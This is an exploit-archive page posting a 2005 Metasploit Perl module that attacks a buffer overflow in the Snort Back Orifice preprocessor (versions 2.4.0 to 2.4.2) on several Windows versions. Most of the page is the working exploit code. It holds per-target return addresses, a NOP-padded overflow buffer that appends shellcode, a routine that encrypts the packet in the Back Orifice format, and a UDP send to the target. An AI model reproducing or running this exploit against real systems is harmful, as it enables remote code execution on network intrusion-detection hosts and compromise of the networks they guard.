exploit the possibilities

snort_bo_overflow_win32.pm.txt

snort_bo_overflow_win32.pm.txt
Posted Nov 2, 2005
Authored by Trirat Puttaraksa

Remote Snort Back Orifice preprocessor overflow Metasploit exploit for Win32 targets. Exploits Snort versions 2.4.0 through 2.4.2. Tested against Snort 2.4.2 Binary with Windows XP Professional SP1/SP2, Windows Server 2003 SP1, Windows Server 2000 SP0, and Windows 2000 Professional SP0.

tags | exploit, remote, overflow
systems | windows, 2k, 32, xp
MD5 | 64e0a9ba3164254f4a2ed9132d75616b

snort_bo_overflow_win32.pm.txt

Change Mirror Download
###############################################################
# for educational purpose only
# by Kira < trir00t [at] gmail.com >
###############################################################
package Msf::Exploit::snort_bo_overflow_win32;
use base 'Msf::Exploit';
use strict;
use Pex::Text;

my $holdrand;
my $advanced = {};

my $info =
{
'Name' => 'Snort Back Orifice Preprocessor Overflow',
'Version' => '$Revision: 1.0 $',
'Authors' => [ 'Trirat Puttaraksa (Kira) <trir00t [at] gmail.com>', ],
'Arch' => ['x86'],
'OS' => ['win32', 'win2000', 'winxp', 'win2003'],
'Priv' => 1,
'UserOpts' => {
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 53],
},

'Payload' => {
'Space' => 1024, # you can use more spaces
'BadChars' => "\x00",
},

'Description' => Pex::Text::Freeform(qq{
This exploits the buffer overflow in Snort version
2.4.0 to 2.4.2. This particular module is capable of
exploiting the bug on x86 Win32, Win2000, WinXP and Win2003.
Exploitation in this vulnerability is depend on many factors.
Difference in GCC version, compiled option and
operating system made diffent technique in exploitation.
}),

'Refs' => [
['URL ', "http://www.securityfocus.com/bid/15131"],
],

'Targets' => [

["Snort 2.4.2 Binary on Windows XP Professional SP1", 0x77da54d4,
(18+1024+1028+1024)],
["Snort 2.4.2 Binary on Windows XP Professional SP2", 0x77daacdb,
(18+1024+1028+1024)],
["Snort 2.4.2 Binary on Windows Server 2003 SP1", 0x7d065177,
(18+1024+1028+1024)],
["Snort 2.4.2 Binary on Windows Server 2000 SP0", 0x77e33f69,
(18+1024+1028+1024)],
["Snort 2.4.2 Binary on Windows 2000 Professional SP0", 0x7850cdef,
(18+1024+1028+1024)],
],

'Keys' => ['Snort'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return ($self);
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;

my $target = $self->Targets->[$target_idx];

if(! $self->InitNops(128)) {
$self->PrintLine("[*] Failed to initialize the NOP module.");
return;
}

my $socket = Msf::Socket::Udp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
);

if($self->IsError) {
$self->PrintLine("[*] Error creating socket: " .
$socket->GetError);
}

$self->PrintLine(sprintf("[*] Trying " . $target->[0] . " using return address 0x%.8x....", $target->[1]));

my $payload = "*!*QWTY?"; # Magic string: 8 bytes
$payload .= pack('V', $target->[2]); # Len: 4 bytes
$payload .= "\xed\xac\xef\x0d"; # UDP packet id
$payload .= "\x01"; # BO type (PING)
$payload .= "\x90" x 1024; # Data
$payload .= "\x90" x 1024; # offset to EIP
$payload .= pack('V', $target->[1]); # return address
$payload .= $shellcode; # our shellcode

$payload = bocrypt($payload); # encrypted payload

$self->PrintLine("[*] Sending Exploit....");
$socket->Send($payload);
}

sub bocrypt {
my $tmppayload = shift;
my @arrpayload = split(//, $tmppayload);
my $retpayload;
my $c;

msrand(31337);

foreach $c (@arrpayload) {
$retpayload .= chr((ord($c) ^ (mrand()%256)));
}
return ($retpayload);
}

sub msrand {
$holdrand = shift;
}

sub mrand {
return ((($holdrand = ($holdrand * 214013 + 2531011 & 0xffffffff)) >> 16) & 0x7fff);
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

January 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    8 Files
  • 2
    Jan 2nd
    11 Files
  • 3
    Jan 3rd
    11 Files
  • 4
    Jan 4th
    2 Files
  • 5
    Jan 5th
    2 Files
  • 6
    Jan 6th
    18 Files
  • 7
    Jan 7th
    15 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    10 Files
  • 10
    Jan 10th
    13 Files
  • 11
    Jan 11th
    2 Files
  • 12
    Jan 12th
    4 Files
  • 13
    Jan 13th
    21 Files
  • 14
    Jan 14th
    18 Files
  • 15
    Jan 15th
    12 Files
  • 16
    Jan 16th
    18 Files
  • 17
    Jan 17th
    11 Files
  • 18
    Jan 18th
    3 Files
  • 19
    Jan 19th
    2 Files
  • 20
    Jan 20th
    15 Files
  • 21
    Jan 21st
    22 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close